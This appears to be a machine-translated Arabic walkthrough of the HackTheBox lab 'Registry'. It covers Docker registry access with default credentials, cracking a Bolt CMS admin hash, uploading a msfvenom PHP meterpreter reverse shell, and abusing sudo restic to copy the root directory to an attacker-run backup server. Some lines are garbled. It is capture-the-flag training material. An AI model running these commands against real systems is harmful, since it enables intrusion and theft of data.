هاك ذا بوكس. تسجيل المرور. عامل ميناء ، RCE في CMS Bolt و Restic

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، سنتناول نظام إرساء السفن ، ونشغل RCE في CMS Bolt ، ونزيد الامتيازات باستخدام برنامج النسخ الاحتياطي Restic.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.159 ، والذي أضيفه إلى / etc / hosts.

10.10.10.159    registry.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 1000 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000

صورة

الآن ، لمزيد من المعلومات التفصيلية حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A registry.htb -p22,80,443

صورة

لدى المضيف 3 منافذ مفتوحة ، في حين أن الشهادة (المنفذ 443) هي docker.registry.htb. أضفه إلى / etc / hosts أيضًا.

10.10.10.159    docker.registry.htb

عندما كنت أنتقل إلى registry.htb، نحن في استقبال إنجن إكس موجه، و docker.registry.htb، ونحن نرى صفحة فارغة.

دعونا نكرر على الدلائل باستخدام gobuster. في المعلمات نشير إلى عدد التدفقات 128 (-t) وعنوان URL (-u) والقاموس (-w) والإضافات التي تهمنا (-x).

gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

صورة

لا يعطينا Backup.php أي شيء ، في bolt يوجد موقع به CMS Bolt ، وفي التثبيت هناك بعض الملفات ، قم بتنزيله.

wget http://registry.htb/install/ -O ind

ونكتشف أي نوع من الملفات هو.

صورة

يمكننا قراءة "البيانات المضغوطة بتنسيق gzip" على الفور.

صورة

بهذه الطريقة نحصل على الشهادة ، وروابط لوثائق مرجعية لواصفة الميناء.
في حالة نطاق آخر ، أضف الخيار -k لتخطي التحقق من الشهادة.

gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php

صورة

الآن دعنا ننتقل إلى دليل v2 ، وقابلنا المصادقة.

صورة

وأبسط إدارة مزيج: المشرف يمنحنا الوصول. يقوم المضيف بتشغيل سجل عامل الميناء ، لذلك ، على النحو التالي من الشرح التالي ، دعنا نلقي نظرة على مستودعاته على العنوان التالي: docker.registry.htb / v2 / _catalog .

صورة

ونجد مستودع واحد.

صورة

دعنا نثبت عامل الميناء وننتقل إلى وثائق تثبيت الشهادة.

صورة

انتقل إلى دليل / etc / docker وأضف الشهادة من الأرشيف.

sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt

صورة

الآن قم بتسجيل الدخول إلى عامل الميناء.

صورة

الآن قم بتحميل الصورة.

sudo docker pull docker.registry.htb:443/bolt-image:latest

صورة

وتشغيله.

sudo docker run -it docker.registry.htb:443/bolt-image:latest

وأول شيء ننظر إليه هو SSH. لحسن الحظ ، هناك مفتاح ، بالإضافة إلى تكوين ، يتضح منه أن مستخدمنا مغلق.

صورة

ولكن الشيء هو أن المفتاح مشفر. هذا يعني أنه عند الاتصال ، سيطلبون كلمة مرور. والنتيجة هي البحث في الملفات عن السلسلة "تمرير".

grep -i -r "pass" ./etc/

صورة

يطلب هذا البرنامج النصي كلمة مرور لفك تشفير المفتاح. والجواب فيه.

صورة

تواصل عبر ssh بمفتاحنا.

صورة

كان هناك ملف backup.php على المضيف ، فلنلقِ نظرة على محتوياته.

صورة

هذه هي الطريقة التي يتم بها استخدام sudo ، وعلى ما يبدو بدون كلمة مرور. لكن الترباس يتطلب كلمة مرور.

صورة

هذا يعني أننا بحاجة للحصول على مستخدم الخدمة. نظرًا لاستخدام CMS Bolt ، يمكننا الوصول إلى قاعدة بيانات sqlite. تنزيله.

scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./

لنبدأ العمل مع قاعدة البيانات.

sqlite3 bolt.db

دعنا نرى الجداول.

صورة

واحصل على الإدخالات من جدول bolt_users.

صورة

لذلك لدينا تجزئة المشرف. كرر الأمر باستخدام JTR.

صورة

الآن قم بتسجيل الدخول إلى Bolt كمسؤول. ونلاحظ الإصدار 3.6.4.

صورة

هناك مآثر لهذا الإصدار.

صورة

تتمثل الثغرة الأمنية في أننا يمكن أن نضيف إلى تهيئة امتداد الملف الذي نحتاج إلى تنزيله ، ثم تحميل الملف. لنقم بإنشاء ملف php مع تحميل (سأقول مقدمًا أنه ببساطة لم يعمل للاتصال مرة أخرى لذا تم إعادة توجيه منفذ 4321 :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321.

msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php

وقم بتشغيل المستمع.

صورة

دعنا نذهب من خلال التكوين -> التكوين الرئيسي وإضافة امتداد php لتتمكن من تنزيل الملف.

صورة

بعد ذلك ، انتقل إلى إدارة الملفات -> تحميل الملفات وإضافة الملف. بعد الوصول إليه ، سنرى الاتصال.

صورة

قم بإطلاق باش شيل ، ونلاحظ أيضًا أننا نعمل نيابة عن مستخدم الخدمة.

صورة

دعونا نتحقق من sudo ، لاحظ أنه يمكن تشغيل الأمر من backup.php تحت sudo بدون كلمة مرور.

صورة

Restic هو برنامج نسخ احتياطي مكتوب بلغة Golang. نظرًا لأنه يمكننا عمل نسخة احتياطية تحت sudo ، يمكننا نسخ الدليل الجذر بالكامل. أولاً ، دعنا نذهب عبر منفذ 8000.

ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000

تثبيت وتشغيل بقية خادم (على 8000 وظيفة بدون مصادقة).

صورة

دعونا الاتصال وتهيئة النسخ الاحتياطي (Rest1).

صورة

الآن قم بعمل نسخة احتياطية من الدليل الجذر.

صورة

تم حفظ النسخة الاحتياطية على الجهاز المحلي. دعونا نرى جميع الملفات المحفوظة. ابحث عن مفتاح SSH.

restic -r /tmp/restic/restr1/ ls latest

صورة

استعدها.

صورة

الاتصال

صورة

لدينا حق الوصول الكامل إلى النظام.

يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles